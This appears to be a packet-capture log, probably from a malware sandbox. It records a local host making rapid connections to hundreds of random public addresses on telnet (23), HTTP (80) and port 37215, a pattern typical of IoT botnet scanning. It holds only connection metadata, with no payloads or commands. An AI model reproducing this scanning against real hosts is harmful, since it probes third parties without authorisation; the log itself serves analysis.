Oct 14, 2024 17:34:14.817248106 CEST	38602	23	192.168.2.14	125.9.76.138
Oct 14, 2024 17:34:14.817687035 CEST	39674	23	192.168.2.14	125.9.76.138
Oct 14, 2024 17:34:14.822305918 CEST	23	38602	125.9.76.138	192.168.2.14
Oct 14, 2024 17:34:14.822782993 CEST	23	39674	125.9.76.138	192.168.2.14
Oct 14, 2024 17:34:14.822840929 CEST	39674	23	192.168.2.14	125.9.76.138
Oct 14, 2024 17:34:14.923569918 CEST	55316	37215	192.168.2.14	156.78.111.135
Oct 14, 2024 17:34:14.923572063 CEST	54550	23	192.168.2.14	42.20.65.5
Oct 14, 2024 17:34:14.923572063 CEST	34852	37215	192.168.2.14	197.7.119.78
Oct 14, 2024 17:34:14.923572063 CEST	42304	23	192.168.2.14	130.85.147.157
Oct 14, 2024 17:34:14.923589945 CEST	41576	23	192.168.2.14	109.26.247.117
Oct 14, 2024 17:34:14.923589945 CEST	47576	80	192.168.2.14	12.12.20.232
Oct 14, 2024 17:34:14.923589945 CEST	40240	37215	192.168.2.14	41.139.171.186
Oct 14, 2024 17:34:14.923593044 CEST	53696	37215	192.168.2.14	197.153.240.99
Oct 14, 2024 17:34:14.923593044 CEST	55724	80	192.168.2.14	104.242.129.6
Oct 14, 2024 17:34:14.923593998 CEST	51316	23	192.168.2.14	112.141.62.211
Oct 14, 2024 17:34:14.923594952 CEST	32938	37215	192.168.2.14	197.46.116.92
Oct 14, 2024 17:34:14.923595905 CEST	48132	37215	192.168.2.14	156.239.18.206
Oct 14, 2024 17:34:14.923593044 CEST	36810	23	192.168.2.14	109.70.21.22
Oct 14, 2024 17:34:14.923593998 CEST	40506	80	192.168.2.14	81.242.26.186
Oct 14, 2024 17:34:14.923607111 CEST	55566	80	192.168.2.14	89.21.126.116
Oct 14, 2024 17:34:14.923607111 CEST	43702	80	192.168.2.14	102.134.111.181
Oct 14, 2024 17:34:14.923607111 CEST	38796	80	192.168.2.14	173.186.167.2
Oct 14, 2024 17:34:14.923609018 CEST	41902	37215	192.168.2.14	197.29.138.176
Oct 14, 2024 17:34:14.923609018 CEST	39172	23	192.168.2.14	74.244.67.116
Oct 14, 2024 17:34:14.923609972 CEST	45388	37215	192.168.2.14	197.98.247.38
Oct 14, 2024 17:34:14.923612118 CEST	52796	80	192.168.2.14	128.92.16.60
Oct 14, 2024 17:34:14.923623085 CEST	37084	23	192.168.2.14	115.176.146.139
Oct 14, 2024 17:34:14.923623085 CEST	46922	80	192.168.2.14	163.210.11.220
Oct 14, 2024 17:34:14.923638105 CEST	60268	80	192.168.2.14	18.37.19.186
Oct 14, 2024 17:34:14.923638105 CEST	44160	37215	192.168.2.14	41.49.32.181
Oct 14, 2024 17:34:14.923640966 CEST	39054	37215	192.168.2.14	197.139.167.177
Oct 14, 2024 17:34:14.928754091 CEST	23	54550	42.20.65.5	192.168.2.14
Oct 14, 2024 17:34:14.928785086 CEST	37215	55316	156.78.111.135	192.168.2.14
Oct 14, 2024 17:34:14.928812981 CEST	23	42304	130.85.147.157	192.168.2.14
Oct 14, 2024 17:34:14.928816080 CEST	54550	23	192.168.2.14	42.20.65.5
Oct 14, 2024 17:34:14.928842068 CEST	23	41576	109.26.247.117	192.168.2.14
Oct 14, 2024 17:34:14.928844929 CEST	55316	37215	192.168.2.14	156.78.111.135
Oct 14, 2024 17:34:14.928863049 CEST	42304	23	192.168.2.14	130.85.147.157
Oct 14, 2024 17:34:14.928869963 CEST	37215	34852	197.7.119.78	192.168.2.14
Oct 14, 2024 17:34:14.928885937 CEST	41576	23	192.168.2.14	109.26.247.117
Oct 14, 2024 17:34:14.928905964 CEST	34852	37215	192.168.2.14	197.7.119.78
Oct 14, 2024 17:34:14.928917885 CEST	80	47576	12.12.20.232	192.168.2.14
Oct 14, 2024 17:34:14.928946972 CEST	37215	40240	41.139.171.186	192.168.2.14
Oct 14, 2024 17:34:14.928961039 CEST	47576	80	192.168.2.14	12.12.20.232
Oct 14, 2024 17:34:14.928986073 CEST	40240	37215	192.168.2.14	41.139.171.186
Oct 14, 2024 17:34:14.929075956 CEST	37215	48132	156.239.18.206	192.168.2.14
Oct 14, 2024 17:34:14.929099083 CEST	55316	37215	192.168.2.14	156.78.111.135
Oct 14, 2024 17:34:14.929104090 CEST	37215	53696	197.153.240.99	192.168.2.14
Oct 14, 2024 17:34:14.929107904 CEST	48132	37215	192.168.2.14	156.239.18.206
Oct 14, 2024 17:34:14.929117918 CEST	55316	37215	192.168.2.14	156.78.111.135
Oct 14, 2024 17:34:14.929126024 CEST	47576	80	192.168.2.14	12.12.20.232
Oct 14, 2024 17:34:14.929131031 CEST	37215	32938	197.46.116.92	192.168.2.14
Oct 14, 2024 17:34:14.929135084 CEST	47576	80	192.168.2.14	12.12.20.232
Oct 14, 2024 17:34:14.929158926 CEST	23	51316	112.141.62.211	192.168.2.14
Oct 14, 2024 17:34:14.929168940 CEST	32938	37215	192.168.2.14	197.46.116.92
Oct 14, 2024 17:34:14.929184914 CEST	53696	37215	192.168.2.14	197.153.240.99
Oct 14, 2024 17:34:14.929205894 CEST	51316	23	192.168.2.14	112.141.62.211
Oct 14, 2024 17:34:14.929748058 CEST	48566	80	192.168.2.14	12.12.20.232
Oct 14, 2024 17:34:14.929855108 CEST	56316	37215	192.168.2.14	156.78.111.135
Oct 14, 2024 17:34:14.930763006 CEST	34852	37215	192.168.2.14	197.7.119.78
Oct 14, 2024 17:34:14.930763006 CEST	34852	37215	192.168.2.14	197.7.119.78
Oct 14, 2024 17:34:14.931080103 CEST	35842	37215	192.168.2.14	197.7.119.78
Oct 14, 2024 17:34:14.931361914 CEST	40240	37215	192.168.2.14	41.139.171.186
Oct 14, 2024 17:34:14.931361914 CEST	40240	37215	192.168.2.14	41.139.171.186
Oct 14, 2024 17:34:14.931607962 CEST	41210	37215	192.168.2.14	41.139.171.186
Oct 14, 2024 17:34:14.931932926 CEST	48132	37215	192.168.2.14	156.239.18.206
Oct 14, 2024 17:34:14.931932926 CEST	48132	37215	192.168.2.14	156.239.18.206
Oct 14, 2024 17:34:14.932174921 CEST	49134	37215	192.168.2.14	156.239.18.206
Oct 14, 2024 17:34:14.932454109 CEST	53696	37215	192.168.2.14	197.153.240.99
Oct 14, 2024 17:34:14.932454109 CEST	53696	37215	192.168.2.14	197.153.240.99
Oct 14, 2024 17:34:14.932868004 CEST	54688	37215	192.168.2.14	197.153.240.99
Oct 14, 2024 17:34:14.933168888 CEST	32938	37215	192.168.2.14	197.46.116.92
Oct 14, 2024 17:34:14.933168888 CEST	32938	37215	192.168.2.14	197.46.116.92
Oct 14, 2024 17:34:14.933412075 CEST	33926	37215	192.168.2.14	197.46.116.92
Oct 14, 2024 17:34:14.934448004 CEST	37215	55316	156.78.111.135	192.168.2.14
Oct 14, 2024 17:34:14.934608936 CEST	80	47576	12.12.20.232	192.168.2.14
Oct 14, 2024 17:34:14.935719967 CEST	37215	34852	197.7.119.78	192.168.2.14
Oct 14, 2024 17:34:14.936647892 CEST	37215	40240	41.139.171.186	192.168.2.14
Oct 14, 2024 17:34:14.936796904 CEST	37215	41210	41.139.171.186	192.168.2.14
Oct 14, 2024 17:34:14.936851978 CEST	41210	37215	192.168.2.14	41.139.171.186
Oct 14, 2024 17:34:14.936880112 CEST	41210	37215	192.168.2.14	41.139.171.186
Oct 14, 2024 17:34:14.937103987 CEST	37215	48132	156.239.18.206	192.168.2.14
Oct 14, 2024 17:34:14.937350035 CEST	37215	53696	197.153.240.99	192.168.2.14
Oct 14, 2024 17:34:14.938085079 CEST	37215	32938	197.46.116.92	192.168.2.14
Oct 14, 2024 17:34:14.942526102 CEST	37215	41210	41.139.171.186	192.168.2.14
Oct 14, 2024 17:34:14.942581892 CEST	41210	37215	192.168.2.14	41.139.171.186
Oct 14, 2024 17:34:14.955682993 CEST	57482	37215	192.168.2.14	156.167.4.14
Oct 14, 2024 17:34:14.955682993 CEST	49854	23	192.168.2.14	18.50.206.178
Oct 14, 2024 17:34:14.955683947 CEST	54270	37215	192.168.2.14	156.56.88.39
Oct 14, 2024 17:34:14.955684900 CEST	39794	37215	192.168.2.14	156.151.132.197
Oct 14, 2024 17:34:14.955686092 CEST	41462	23	192.168.2.14	130.154.46.26
Oct 14, 2024 17:34:14.955686092 CEST	44114	80	192.168.2.14	205.180.95.44
Oct 14, 2024 17:34:14.955688000 CEST	38200	23	192.168.2.14	182.127.61.41
Oct 14, 2024 17:34:14.955688000 CEST	38466	80	192.168.2.14	130.144.228.118
Oct 14, 2024 17:34:14.955688953 CEST	34244	37215	192.168.2.14	41.156.103.248
Oct 14, 2024 17:34:14.955688953 CEST	51708	23	192.168.2.14	201.81.60.236
Oct 14, 2024 17:34:14.955688953 CEST	47612	80	192.168.2.14	4.20.103.182
Oct 14, 2024 17:34:14.955688953 CEST	39028	80	192.168.2.14	189.202.27.135
Oct 14, 2024 17:34:14.955698967 CEST	38064	23	192.168.2.14	161.2.253.239
Oct 14, 2024 17:34:14.955707073 CEST	49244	80	192.168.2.14	193.14.240.77
Oct 14, 2024 17:34:14.955708027 CEST	46692	23	192.168.2.14	8.206.158.60
Oct 14, 2024 17:34:14.955710888 CEST	47448	37215	192.168.2.14	41.66.222.121
Oct 14, 2024 17:34:14.955710888 CEST	41838	37215	192.168.2.14	156.9.213.58
Oct 14, 2024 17:34:14.955710888 CEST	52210	23	192.168.2.14	125.187.27.4
Oct 14, 2024 17:34:14.955710888 CEST	43620	80	192.168.2.14	27.156.152.253
Oct 14, 2024 17:34:14.955712080 CEST	45064	23	192.168.2.14	123.6.9.89
Oct 14, 2024 17:34:14.955713987 CEST	32814	80	192.168.2.14	188.147.252.5
Oct 14, 2024 17:34:14.955712080 CEST	46494	37215	192.168.2.14	197.245.188.186
Oct 14, 2024 17:34:14.955712080 CEST	40956	23	192.168.2.14	180.246.180.20
Oct 14, 2024 17:34:14.955712080 CEST	55936	80	192.168.2.14	194.123.231.244
Oct 14, 2024 17:34:14.955712080 CEST	39242	23	192.168.2.14	14.241.193.130
Oct 14, 2024 17:34:14.955730915 CEST	42304	80	192.168.2.14	187.120.252.183
Oct 14, 2024 17:34:14.960850954 CEST	37215	54270	156.56.88.39	192.168.2.14
Oct 14, 2024 17:34:14.960880995 CEST	37215	57482	156.167.4.14	192.168.2.14
Oct 14, 2024 17:34:14.960911989 CEST	54270	37215	192.168.2.14	156.56.88.39
Oct 14, 2024 17:34:14.960957050 CEST	57482	37215	192.168.2.14	156.167.4.14
Oct 14, 2024 17:34:14.960990906 CEST	57482	37215	192.168.2.14	156.167.4.14
Oct 14, 2024 17:34:14.960990906 CEST	57482	37215	192.168.2.14	156.167.4.14
Oct 14, 2024 17:34:14.961455107 CEST	58400	37215	192.168.2.14	156.167.4.14
Oct 14, 2024 17:34:14.961849928 CEST	54270	37215	192.168.2.14	156.56.88.39
Oct 14, 2024 17:34:14.961849928 CEST	54270	37215	192.168.2.14	156.56.88.39
Oct 14, 2024 17:34:14.962126017 CEST	55170	37215	192.168.2.14	156.56.88.39
Oct 14, 2024 17:34:14.966098070 CEST	37215	57482	156.167.4.14	192.168.2.14
Oct 14, 2024 17:34:14.966507912 CEST	37215	58400	156.167.4.14	192.168.2.14
Oct 14, 2024 17:34:14.966555119 CEST	58400	37215	192.168.2.14	156.167.4.14
Oct 14, 2024 17:34:14.966581106 CEST	58400	37215	192.168.2.14	156.167.4.14
Oct 14, 2024 17:34:14.966981888 CEST	37215	54270	156.56.88.39	192.168.2.14
Oct 14, 2024 17:34:14.972141027 CEST	37215	58400	156.167.4.14	192.168.2.14
Oct 14, 2024 17:34:14.972193956 CEST	58400	37215	192.168.2.14	156.167.4.14
Oct 14, 2024 17:34:14.975187063 CEST	80	47576	12.12.20.232	192.168.2.14
Oct 14, 2024 17:34:14.975222111 CEST	37215	55316	156.78.111.135	192.168.2.14
Oct 14, 2024 17:34:14.979479074 CEST	37215	53696	197.153.240.99	192.168.2.14
Oct 14, 2024 17:34:14.979509115 CEST	37215	34852	197.7.119.78	192.168.2.14
Oct 14, 2024 17:34:14.979537964 CEST	37215	48132	156.239.18.206	192.168.2.14
Oct 14, 2024 17:34:14.979568005 CEST	37215	40240	41.139.171.186	192.168.2.14
Oct 14, 2024 17:34:14.983114958 CEST	37215	32938	197.46.116.92	192.168.2.14
Oct 14, 2024 17:34:14.987659931 CEST	40730	37215	192.168.2.14	197.66.116.67
Oct 14, 2024 17:34:14.987662077 CEST	48562	37215	192.168.2.14	156.250.109.164
Oct 14, 2024 17:34:14.987659931 CEST	55906	37215	192.168.2.14	197.83.160.66
Oct 14, 2024 17:34:14.987662077 CEST	53084	80	192.168.2.14	134.118.16.121
Oct 14, 2024 17:34:14.987663984 CEST	42906	37215	192.168.2.14	197.50.50.50
Oct 14, 2024 17:34:14.987659931 CEST	56350	80	192.168.2.14	112.247.197.61
Oct 14, 2024 17:34:14.987663984 CEST	59872	23	192.168.2.14	18.200.80.120
Oct 14, 2024 17:34:14.987663984 CEST	37464	80	192.168.2.14	159.54.76.10
Oct 14, 2024 17:34:14.987665892 CEST	42188	37215	192.168.2.14	156.26.138.86
Oct 14, 2024 17:34:14.987663984 CEST	50428	37215	192.168.2.14	41.214.67.227
Oct 14, 2024 17:34:14.987664938 CEST	39088	80	192.168.2.14	78.42.72.124
Oct 14, 2024 17:34:14.987663984 CEST	55026	37215	192.168.2.14	41.135.128.225
Oct 14, 2024 17:34:14.987663984 CEST	58412	23	192.168.2.14	159.62.157.90
Oct 14, 2024 17:34:14.987665892 CEST	54708	23	192.168.2.14	58.237.142.177
Oct 14, 2024 17:34:14.987667084 CEST	58110	80	192.168.2.14	112.182.1.223
Oct 14, 2024 17:34:14.987682104 CEST	59018	37215	192.168.2.14	41.24.42.129
Oct 14, 2024 17:34:14.987684011 CEST	58898	37215	192.168.2.14	41.204.146.139
Oct 14, 2024 17:34:14.987684011 CEST	50850	80	192.168.2.14	173.184.66.231
Oct 14, 2024 17:34:14.987684011 CEST	55448	80	192.168.2.14	74.161.242.25
Oct 14, 2024 17:34:14.987684011 CEST	43954	80	192.168.2.14	59.97.134.93
Oct 14, 2024 17:34:14.987684011 CEST	51738	80	192.168.2.14	121.0.227.65
Oct 14, 2024 17:34:14.987687111 CEST	57150	37215	192.168.2.14	41.149.40.114
Oct 14, 2024 17:34:14.987687111 CEST	45896	80	192.168.2.14	162.93.214.216
Oct 14, 2024 17:34:14.992723942 CEST	37215	48562	156.250.109.164	192.168.2.14
Oct 14, 2024 17:34:14.992839098 CEST	48562	37215	192.168.2.14	156.250.109.164
Oct 14, 2024 17:34:14.992855072 CEST	48562	37215	192.168.2.14	156.250.109.164
Oct 14, 2024 17:34:14.992855072 CEST	48562	37215	192.168.2.14	156.250.109.164
Oct 14, 2024 17:34:14.993087053 CEST	80	53084	134.118.16.121	192.168.2.14
Oct 14, 2024 17:34:14.993145943 CEST	53084	80	192.168.2.14	134.118.16.121
Oct 14, 2024 17:34:14.993284941 CEST	49414	37215	192.168.2.14	156.250.109.164
Oct 14, 2024 17:34:14.993364096 CEST	53084	80	192.168.2.14	134.118.16.121
Oct 14, 2024 17:34:14.993408918 CEST	53084	80	192.168.2.14	134.118.16.121
Oct 14, 2024 17:34:14.993977070 CEST	53950	80	192.168.2.14	134.118.16.121
Oct 14, 2024 17:34:14.997988939 CEST	37215	48562	156.250.109.164	192.168.2.14
Oct 14, 2024 17:34:14.998965025 CEST	37215	49414	156.250.109.164	192.168.2.14
Oct 14, 2024 17:34:14.998992920 CEST	80	53084	134.118.16.121	192.168.2.14
Oct 14, 2024 17:34:14.999022007 CEST	49414	37215	192.168.2.14	156.250.109.164
Oct 14, 2024 17:34:14.999058008 CEST	49414	37215	192.168.2.14	156.250.109.164
Oct 14, 2024 17:34:15.008725882 CEST	37215	49414	156.250.109.164	192.168.2.14
Oct 14, 2024 17:34:15.008755922 CEST	37215	54270	156.56.88.39	192.168.2.14
Oct 14, 2024 17:34:15.008785009 CEST	37215	57482	156.167.4.14	192.168.2.14
Oct 14, 2024 17:34:15.008785009 CEST	49414	37215	192.168.2.14	156.250.109.164
Oct 14, 2024 17:34:15.019655943 CEST	60468	23	192.168.2.14	114.17.11.53
Oct 14, 2024 17:34:15.019659996 CEST	56474	23	192.168.2.14	140.123.108.122
Oct 14, 2024 17:34:15.019659996 CEST	37366	23	192.168.2.14	49.233.47.69
Oct 14, 2024 17:34:15.019663095 CEST	36580	37215	192.168.2.14	197.174.29.102
Oct 14, 2024 17:34:15.019660950 CEST	47468	80	192.168.2.14	181.149.65.97
Oct 14, 2024 17:34:15.019663095 CEST	55980	37215	192.168.2.14	197.255.55.238
Oct 14, 2024 17:34:15.019660950 CEST	38196	80	192.168.2.14	223.97.180.227
Oct 14, 2024 17:34:15.019663095 CEST	52578	23	192.168.2.14	145.137.105.15
Oct 14, 2024 17:34:15.019663095 CEST	35060	37215	192.168.2.14	156.33.129.230
Oct 14, 2024 17:34:15.019663095 CEST	50962	80	192.168.2.14	160.127.65.236
Oct 14, 2024 17:34:15.019663095 CEST	42168	23	192.168.2.14	174.59.244.233
Oct 14, 2024 17:34:15.019680977 CEST	45636	37215	192.168.2.14	197.92.93.219
Oct 14, 2024 17:34:15.019684076 CEST	34220	80	192.168.2.14	62.158.153.79
Oct 14, 2024 17:34:15.019685030 CEST	53906	80	192.168.2.14	134.100.91.77
Oct 14, 2024 17:34:15.019685030 CEST	44738	23	192.168.2.14	133.122.153.90
Oct 14, 2024 17:34:15.019685984 CEST	34780	80	192.168.2.14	110.104.117.231
Oct 14, 2024 17:34:15.019685984 CEST	44456	80	192.168.2.14	118.39.183.38
Oct 14, 2024 17:34:15.019692898 CEST	60192	37215	192.168.2.14	41.30.134.63
Oct 14, 2024 17:34:15.019695997 CEST	44204	80	192.168.2.14	5.143.12.228
Oct 14, 2024 17:34:15.019717932 CEST	43482	23	192.168.2.14	155.60.53.23
Oct 14, 2024 17:34:15.024744987 CEST	23	60468	114.17.11.53	192.168.2.14
Oct 14, 2024 17:34:15.024774075 CEST	80	47468	181.149.65.97	192.168.2.14
Oct 14, 2024 17:34:15.024801970 CEST	23	56474	140.123.108.122	192.168.2.14
Oct 14, 2024 17:34:15.024808884 CEST	60468	23	192.168.2.14	114.17.11.53
Oct 14, 2024 17:34:15.024827957 CEST	47468	80	192.168.2.14	181.149.65.97
Oct 14, 2024 17:34:15.024888039 CEST	56474	23	192.168.2.14	140.123.108.122
Oct 14, 2024 17:34:15.025027037 CEST	47468	80	192.168.2.14	181.149.65.97
Oct 14, 2024 17:34:15.025027037 CEST	47468	80	192.168.2.14	181.149.65.97
Oct 14, 2024 17:34:15.025568008 CEST	48272	80	192.168.2.14	181.149.65.97
Oct 14, 2024 17:34:15.030064106 CEST	80	47468	181.149.65.97	192.168.2.14
Oct 14, 2024 17:34:15.039264917 CEST	80	53084	134.118.16.121	192.168.2.14
Oct 14, 2024 17:34:15.039309978 CEST	37215	48562	156.250.109.164	192.168.2.14
Oct 14, 2024 17:34:15.051543951 CEST	37900	37215	192.168.2.14	197.59.228.193
Oct 14, 2024 17:34:15.051543951 CEST	37680	37215	192.168.2.14	41.229.107.145
Oct 14, 2024 17:34:15.051547050 CEST	37670	37215	192.168.2.14	41.117.250.58
Oct 14, 2024 17:34:15.051547050 CEST	54334	37215	192.168.2.14	41.197.118.7
Oct 14, 2024 17:34:15.051558971 CEST	54290	37215	192.168.2.14	197.81.80.21
Oct 14, 2024 17:34:15.051558018 CEST	35360	80	192.168.2.14	88.17.169.94
Oct 14, 2024 17:34:15.051562071 CEST	57880	80	192.168.2.14	141.245.229.176
Oct 14, 2024 17:34:15.051562071 CEST	53882	80	192.168.2.14	34.0.0.31
Oct 14, 2024 17:34:15.051563978 CEST	43130	23	192.168.2.14	192.30.251.198
Oct 14, 2024 17:34:15.051563978 CEST	52634	80	192.168.2.14	25.150.151.44
Oct 14, 2024 17:34:15.051572084 CEST	49994	23	192.168.2.14	212.49.61.57
Oct 14, 2024 17:34:15.051578045 CEST	49530	80	192.168.2.14	103.190.193.46
Oct 14, 2024 17:34:15.051578045 CEST	37472	23	192.168.2.14	132.11.128.12
Oct 14, 2024 17:34:15.051578999 CEST	36176	37215	192.168.2.14	41.55.52.208
Oct 14, 2024 17:34:15.051578999 CEST	40210	23	192.168.2.14	66.202.147.152
Oct 14, 2024 17:34:15.051579952 CEST	35614	80	192.168.2.14	147.133.121.129
Oct 14, 2024 17:34:15.051578999 CEST	51924	80	192.168.2.14	61.0.111.114
Oct 14, 2024 17:34:15.051579952 CEST	50884	80	192.168.2.14	83.75.118.219
Oct 14, 2024 17:34:15.051588058 CEST	56922	37215	192.168.2.14	197.239.93.184
Oct 14, 2024 17:34:15.051588058 CEST	38150	37215	192.168.2.14	41.91.24.44
Oct 14, 2024 17:34:15.051588058 CEST	39028	23	192.168.2.14	178.232.3.196
Oct 14, 2024 17:34:15.051588058 CEST	51930	23	192.168.2.14	160.6.111.25
Oct 14, 2024 17:34:15.056458950 CEST	37215	37900	197.59.228.193	192.168.2.14
Oct 14, 2024 17:34:15.056509972 CEST	37215	37680	41.229.107.145	192.168.2.14
Oct 14, 2024 17:34:15.056538105 CEST	37215	37670	41.117.250.58	192.168.2.14
Oct 14, 2024 17:34:15.056653023 CEST	37670	37215	192.168.2.14	41.117.250.58
Oct 14, 2024 17:34:15.056662083 CEST	37900	37215	192.168.2.14	197.59.228.193
Oct 14, 2024 17:34:15.056662083 CEST	37680	37215	192.168.2.14	41.229.107.145
Oct 14, 2024 17:34:15.056662083 CEST	37900	37215	192.168.2.14	197.59.228.193
Oct 14, 2024 17:34:15.056662083 CEST	37900	37215	192.168.2.14	197.59.228.193
Oct 14, 2024 17:34:15.057117939 CEST	38676	37215	192.168.2.14	197.59.228.193
Oct 14, 2024 17:34:15.057573080 CEST	37670	37215	192.168.2.14	41.117.250.58
Oct 14, 2024 17:34:15.057573080 CEST	37670	37215	192.168.2.14	41.117.250.58
Oct 14, 2024 17:34:15.057934046 CEST	38456	37215	192.168.2.14	41.117.250.58
Oct 14, 2024 17:34:15.058247089 CEST	37680	37215	192.168.2.14	41.229.107.145
Oct 14, 2024 17:34:15.058247089 CEST	37680	37215	192.168.2.14	41.229.107.145
Oct 14, 2024 17:34:15.058509111 CEST	38454	37215	192.168.2.14	41.229.107.145
Oct 14, 2024 17:34:15.062680006 CEST	37215	37900	197.59.228.193	192.168.2.14
Oct 14, 2024 17:34:15.062840939 CEST	37215	37670	41.117.250.58	192.168.2.14
Oct 14, 2024 17:34:15.063622952 CEST	37215	37680	41.229.107.145	192.168.2.14
Oct 14, 2024 17:34:15.075273991 CEST	80	47468	181.149.65.97	192.168.2.14
Oct 14, 2024 17:34:15.083539009 CEST	53008	37215	192.168.2.14	41.121.163.72
Oct 14, 2024 17:34:15.083539963 CEST	60196	37215	192.168.2.14	156.91.72.145
Oct 14, 2024 17:34:15.083539009 CEST	47520	37215	192.168.2.14	41.32.217.117
Oct 14, 2024 17:34:15.083551884 CEST	57674	37215	192.168.2.14	41.51.46.101
Oct 14, 2024 17:34:15.083551884 CEST	41634	37215	192.168.2.14	41.238.41.114
Oct 14, 2024 17:34:15.083554983 CEST	41834	37215	192.168.2.14	197.189.220.157
Oct 14, 2024 17:34:15.083554983 CEST	52868	37215	192.168.2.14	156.45.65.139
Oct 14, 2024 17:34:15.083554983 CEST	53066	37215	192.168.2.14	197.117.165.145
Oct 14, 2024 17:34:15.083579063 CEST	33454	23	192.168.2.14	94.125.234.202
Oct 14, 2024 17:34:15.083579063 CEST	58270	23	192.168.2.14	89.62.210.100
Oct 14, 2024 17:34:15.083579063 CEST	36954	23	192.168.2.14	205.224.32.125
Oct 14, 2024 17:34:15.083581924 CEST	35680	23	192.168.2.14	83.41.251.122
Oct 14, 2024 17:34:15.083585024 CEST	55172	23	192.168.2.14	144.138.72.33
Oct 14, 2024 17:34:15.083586931 CEST	59790	23	192.168.2.14	140.233.9.116
Oct 14, 2024 17:34:15.083585978 CEST	46164	80	192.168.2.14	145.51.2.149
Oct 14, 2024 17:34:15.083592892 CEST	54764	23	192.168.2.14	161.200.252.117
Oct 14, 2024 17:34:15.083592892 CEST	58448	23	192.168.2.14	102.207.18.216
Oct 14, 2024 17:34:15.083606005 CEST	59338	23	192.168.2.14	119.131.38.32
Oct 14, 2024 17:34:15.083607912 CEST	55774	80	192.168.2.14	223.90.175.17
Oct 14, 2024 17:34:15.083611012 CEST	56102	80	192.168.2.14	78.198.116.91
Oct 14, 2024 17:34:15.083611012 CEST	46412	80	192.168.2.14	94.52.242.89
Oct 14, 2024 17:34:15.083617926 CEST	34394	23	192.168.2.14	153.60.52.206
Oct 14, 2024 17:34:15.083625078 CEST	47610	23	192.168.2.14	93.229.65.224
Oct 14, 2024 17:34:15.083625078 CEST	48840	80	192.168.2.14	36.90.161.9
Oct 14, 2024 17:34:15.083641052 CEST	55178	23	192.168.2.14	221.93.109.237
Oct 14, 2024 17:34:15.083641052 CEST	33808	80	192.168.2.14	154.40.52.245
Oct 14, 2024 17:34:15.088537931 CEST	37215	60196	156.91.72.145	192.168.2.14
Oct 14, 2024 17:34:15.088596106 CEST	60196	37215	192.168.2.14	156.91.72.145
Oct 14, 2024 17:34:15.088675976 CEST	37215	53008	41.121.163.72	192.168.2.14
Oct 14, 2024 17:34:15.088766098 CEST	53008	37215	192.168.2.14	41.121.163.72
Oct 14, 2024 17:34:15.088768959 CEST	60196	37215	192.168.2.14	156.91.72.145
Oct 14, 2024 17:34:15.088768959 CEST	60196	37215	192.168.2.14	156.91.72.145
Oct 14, 2024 17:34:15.089122057 CEST	60934	37215	192.168.2.14	156.91.72.145
Oct 14, 2024 17:34:15.089603901 CEST	53008	37215	192.168.2.14	41.121.163.72
Oct 14, 2024 17:34:15.089603901 CEST	53008	37215	192.168.2.14	41.121.163.72
Oct 14, 2024 17:34:15.089832067 CEST	37215	57674	41.51.46.101	192.168.2.14
Oct 14, 2024 17:34:15.089884043 CEST	57674	37215	192.168.2.14	41.51.46.101
Oct 14, 2024 17:34:15.089910030 CEST	53744	37215	192.168.2.14	41.121.163.72
Oct 14, 2024 17:34:15.090281963 CEST	57674	37215	192.168.2.14	41.51.46.101
Oct 14, 2024 17:34:15.090281963 CEST	57674	37215	192.168.2.14	41.51.46.101
Oct 14, 2024 17:34:15.090599060 CEST	58404	37215	192.168.2.14	41.51.46.101
Oct 14, 2024 17:34:15.093897104 CEST	37215	60196	156.91.72.145	192.168.2.14
Oct 14, 2024 17:34:15.094631910 CEST	37215	53008	41.121.163.72	192.168.2.14
Oct 14, 2024 17:34:15.095186949 CEST	37215	57674	41.51.46.101	192.168.2.14
Oct 14, 2024 17:34:15.103143930 CEST	37215	37670	41.117.250.58	192.168.2.14
Oct 14, 2024 17:34:15.103173018 CEST	37215	37900	197.59.228.193	192.168.2.14
Oct 14, 2024 17:34:15.107203007 CEST	37215	37680	41.229.107.145	192.168.2.14
Oct 14, 2024 17:34:15.115642071 CEST	52044	23	192.168.2.14	132.40.143.87
Oct 14, 2024 17:34:15.115643024 CEST	43984	80	192.168.2.14	209.183.241.248
Oct 14, 2024 17:34:15.115643978 CEST	48938	37215	192.168.2.14	156.56.92.171
Oct 14, 2024 17:34:15.115643978 CEST	46852	80	192.168.2.14	53.212.153.150
Oct 14, 2024 17:34:15.115643978 CEST	38936	80	192.168.2.14	46.213.133.53
Oct 14, 2024 17:34:15.115643978 CEST	60846	23	192.168.2.14	57.209.188.68
Oct 14, 2024 17:34:15.115643978 CEST	53298	23	192.168.2.14	31.198.111.132
Oct 14, 2024 17:34:15.115643978 CEST	39070	23	192.168.2.14	99.38.14.214
Oct 14, 2024 17:34:15.115645885 CEST	54242	23	192.168.2.14	195.166.140.123
Oct 14, 2024 17:34:15.115645885 CEST	53744	23	192.168.2.14	94.209.198.224
Oct 14, 2024 17:34:15.115645885 CEST	55334	80	192.168.2.14	125.205.39.142
Oct 14, 2024 17:34:15.115664959 CEST	46904	23	192.168.2.14	196.106.143.157
Oct 14, 2024 17:34:15.115665913 CEST	55928	23	192.168.2.14	74.170.177.152
Oct 14, 2024 17:34:15.115669012 CEST	60854	23	192.168.2.14	175.21.244.183
Oct 14, 2024 17:34:15.115668058 CEST	60502	37215	192.168.2.14	41.70.210.88
Oct 14, 2024 17:34:15.115665913 CEST	43970	23	192.168.2.14	132.214.232.254
Oct 14, 2024 17:34:15.115669012 CEST	48088	80	192.168.2.14	114.168.32.232
Oct 14, 2024 17:34:15.115675926 CEST	43848	37215	192.168.2.14	156.124.95.95
Oct 14, 2024 17:34:15.115675926 CEST	55298	80	192.168.2.14	120.235.153.226
Oct 14, 2024 17:34:15.115679026 CEST	41404	37215	192.168.2.14	41.107.231.21
Oct 14, 2024 17:34:15.115679026 CEST	41040	37215	192.168.2.14	41.173.234.214
Oct 14, 2024 17:34:15.120582104 CEST	37215	48938	156.56.92.171	192.168.2.14
Oct 14, 2024 17:34:15.120610952 CEST	80	43984	209.183.241.248	192.168.2.14
Oct 14, 2024 17:34:15.120642900 CEST	48938	37215	192.168.2.14	156.56.92.171
Oct 14, 2024 17:34:15.120656967 CEST	43984	80	192.168.2.14	209.183.241.248
Oct 14, 2024 17:34:15.120702982 CEST	29625	37215	192.168.2.14	197.32.90.183
Oct 14, 2024 17:34:15.120714903 CEST	29625	37215	192.168.2.14	197.26.170.197
Oct 14, 2024 17:34:15.120714903 CEST	29625	37215	192.168.2.14	41.170.48.146
Oct 14, 2024 17:34:15.120717049 CEST	29625	37215	192.168.2.14	197.249.143.171
Oct 14, 2024 17:34:15.120737076 CEST	29625	37215	192.168.2.14	41.60.213.107
Oct 14, 2024 17:34:15.120737076 CEST	29625	37215	192.168.2.14	41.75.24.80
